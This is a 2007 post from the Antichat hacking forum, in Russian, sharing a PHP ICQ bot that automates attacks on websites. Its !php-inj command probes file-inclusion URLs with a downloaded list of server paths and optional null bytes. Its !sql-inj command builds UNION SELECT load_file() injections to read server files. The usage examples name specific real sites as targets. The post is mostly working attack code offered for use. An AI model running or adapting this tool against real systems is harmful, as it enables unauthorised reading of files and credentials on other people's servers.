|
Познавший АНТИЧАТ
Регистрация: 02.06.2006
Сообщений: 1,188
Провел на форуме: 6023777
Репутация:
2642
|
|
[php]<?php
error_reporting (E_ALL);
set_time_limit(FALSE);
ignore_user_abort(TRUE);
ini_set('max_execution_time', '0');
require_once('WebIcqLite.class.php');
define('UIN', '123456789'); //Номер бота
define('PASSWORD', 'PASSW0RD'); //Пароль бота
define('ADMIN', '555000'); //Номер админа бота
$icq = new WebIcqLite();
if(!$icq->connect(UIN, PASSWORD))
{
echo $icq->error;
exit();
}
$icq->send_message(ADMIN, 'Online');
while($icq->is_connected())
{
$msg = $icq->read_message();
$m = strtolower($msg['message']);
$dirs = explode("\n", file_get_contents('dirs.txt'));
if(preg_match("/^!php-inj\s+'(.+)','(true|false)'$/",$m,$regs))
{
$url = $regs[1];
$null = $regs[2];
function phpinj($url, $file, $null)
{
if($null == true)
{
$replace = $file.'%00';
$url_full = str_replace('[php]',urlencode($file).'%00',$url);
}
elseif($null == false)
{
$replace = $file;
$url_full = str_replace('[php]',urlencode($file),$url);
}
$urlOpen = file_get_contents($url_full);
if(preg_match('#(<b>Warning</b>|<b>Fatal error</b>).+'.$file.'#',$urlOpen))
{
return false;
}
elseif($urlOpen)
{
return str_replace('
PHP код:
',$replace,$url);
}
}
if($null == 'true')
{
$null = true;
}
else
{
$null = false;
}
$send = '';
foreach($dirs as $dir)
{
$php_inj = phpinj($url, $dir, $null);
if($php_inj == true)
{
$search = true;
$send .= $php_inj."\n";
}
}
if($search == false)
{
$icq->send_message($msg['from'], 'Ничего не найдено');
}
else
{
$icq->send_message($msg['from'], preg_replace("|\n$|",NULL,$send));
}
}
elseif(preg_match("/^!sql-inj\s+'(.+)','(\d+)','(\d+)','(true|false)'$/",$m,$regs))
{
function sqlinj($url, $cols, $kol, $comm, $dir)
{
$one = '-1+union+select+';
for($i=1;$i<=$cols;$i++)
{
if($i != $kol)
{
$one .= $i;
}
else
{
$one .= 'load_file('.$dir.')';
}
if($i != $cols)
{
$one .= ',';
}
}
if($comm)
{
$comm = '/*';
}
else
{
$comm = null;
}
$url = str_replace('[sql]',$one.$comm,$url);
$urlOpen = file_get_contents($url);
$badUrl = file_get_contents(preg_replace('|load_file\((.+)\)|','load_file(0x74657374657374)',$url));
if(substr_count($urlOpen,'You have an error in your SQL syntax.') != '0' || $urlOpen == $badUrl)
{
return false;
}
else
{
return $url;
}
}
if($regs[4] == 'true')
{
$comment = true;
}
else
{
$comment = false;
}
$send = '';
foreach($dirs as $dir)
{
$dir = str_replace('../../../../../../../../../../../..',NULL,$dir);
$sql_inj = sqlinj($regs[1], $regs[2], $regs[3], $comment, '0x'.bin2hex($dir));
if($sql_inj == true)
{
$search = true;
$send .= $sql_inj."\n";
}
}
if($search != true)
{
$icq->send_message($msg['from'], 'Ничего не найдено');
}
else
{
$icq->send_message($msg['from'], preg_replace("|\n$|",NULL,$send));
}
}
elseif(preg_match("/!bugtraq\s+'(.+)'/",$m,$regs))
{
$openBugTraq = file_get_contents('http://www.securityfocus.com/swsearch?query='.$regs[1].'&sbm=archive%2F1%2F&submit=Search%21&metaname=alldoc&sort=swishrank');
preg_match_all('|<a href="http://www.securityfocus.com/archive/(\d+)/(\d+)">[\n\s]+(.*)|',$openBugTraq,$array,PREG_SET_ORDER);
$send = '';
foreach($array as $bug)
{
$search = true;
$send .= 'http://www.securityfocus.com/archive/'.$bug[1].'/'.$bug[2].' ['.$bug[3].']'."\n";
}
if($search != true)
{
$icq->send_message($msg['from'], 'Ничего не найдено');
}
else
{
$icq->send_message($msg['from'], preg_replace("|\n$|",NULL,$send));
}
}
elseif($msg['from'] == ADMIN && $m == '!quit')
{
$icq->send_message(ADMIN, 'Offline');
$icq->disconnect();
}
else
{
$icq->send_message($msg['from'], 'Ваша команда не распознана');
}
flush();
sleep(1);
}
?>
Написал небольшого баг-бота, функции:
1. !php-inj 'http://www.ebrogreyhoundpark.com/index.php?pagename=[php]','false'
2. !sql-inj 'http://www.rockwm.de/songdetail.php?id=[sql]','12','7','true'
3. !bugtraq 'phpMyAdmin'
Поясню:
1. Эта функция для поиска логов при php-инъекции. Где http://....[php] - это урл php инъекции, false - не ставить ноль байт, true - ставить ноль байт.
2. Эта функция для поиска логов при sql-инъекции. Где http://....[sql] - это урл sql инъекции, 12 - это 12 столбцов, 7 - на 7-ой столбик ставим запрос, true - закоментировать конец запроса, false - нет.
3. Ищем баги в двигах.
Файл директорий можете скачать от сюда:
http://webfile.ru/1542459
Он должен быть в одной директории с ботом и называться dirs.txt.
Бот попрежнему работает на WebIcqLite.class
Последний раз редактировалось NOmeR1; 29.09.2007 в 23:02..
|